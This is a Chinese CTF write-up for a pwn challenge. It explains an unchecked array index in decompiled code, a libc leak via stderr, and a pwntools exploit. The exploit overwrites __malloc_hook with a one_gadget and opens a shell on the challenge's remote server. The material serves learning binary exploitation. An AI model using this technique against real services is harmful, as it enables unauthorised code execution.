-
-
[原创]第四题 拯救单身狗
-
2019-3-25 15:23 3840
-
这是一道pwn题,主要的逻辑如下:
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 savedregs; // [rsp+10h] [rbp+0h] puts("This is a little game\n"); puts("You can create a character and choose if he needs a partner.\n"); while ( 1 ) { menu("You can create a character and choose if he needs a partner.\n", argv); read_int("You can create a character and choose if he needs a partner.\n"); switch ( (unsigned int)&savedregs ) { case 1u: singledog(); break; case 2u: luckydog(); break; case 3u: edit_singledog(); break; case 4u: edit_luckydog(); break; case 5u: save_singledog(); break; case 6u: exit(1); return; default: continue; } } }
在edit_singledog(),edit_luckydog()中,没有对数组的界限进行限制,所以可以对任意地址进行读写,所以泄露libc基址是最先考虑的问题,由于题目没有提供libc版本,所以我这里泄露public stderr@@GLIBC_2_2_5(_IO_2_1stderr)地址进行分析。
unsigned __int64 edit_singledog() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("which?"); v1 = read_int("which?"); if ( two[v1] ) { puts("Oh,singledog,changing your name can bring you good luck."); read(0, two[v1], 0x20uLL); printf("new name: %s", two[v1]); } else { puts("nothing here"); } return __readfsqword(0x28u) ^ v2; }
泄露的stderr地址后3位为680,利用网站https://libc.blukat.me 进行分析,得出结果如下:
libc6_2.27-3ubuntu1_amd64 libc6_2.28-0ubuntu1_amd64 libc6_2.29-0ubuntu1_amd64
将这三个libc版本分别下载,同时利用one_gadget进行读取,得到服务器的flag。
from pwn import * import pdb def get_libc_base_addr(): p.recv() p.sendline("1") p.recv() p.sendline("test") p.recv() p.sendline("3") p.recv() p.sendline("-4") p.recv() p.sendline("fffffff") p.recv(18) leak_addr = p.recv(6) _IO_2_1_stderr_addr = (u64(leak_addr.ljust(8, "\x00")))- 0x83 libc_base_addr = _IO_2_1_stderr_addr - elf.symbols['_IO_2_1_stderr_'] p.recv() return libc_base_addr def set_malloc_hook_gadget(libc_base_addr): p.sendline("2") p.recv() p.sendline("xxxx") p.recv() p.sendline("yyyy") p.recv() p.sendline("3") p.recv() p.sendline("80") p.recv() p.sendline(p64(libc_base_addr+elf.symbols['__malloc_hook'])) p.recv() p.sendline("4") p.recv() p.sendline("0") p.recv() p.sendline("xxxx") p.recv() p.sendline(p64(libc_base_addr+0x10a38c)) p.recv() elf = ELF("/home/foyjog/Desktop/libc/libc6_2.27-3ubuntu1_amd64.so") #elf = ELF("/lib/x86_64-linux-gnu/libc.so.6") #p = process("./apwn") p = remote('211.159.175.39',8686) pdb.set_trace() libc_base_addr = get_libc_base_addr() print hex(libc_base_addr) set_malloc_hook_gadget(libc_base_addr) p.sendline("1") print p.recv() p.interactive()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
看原图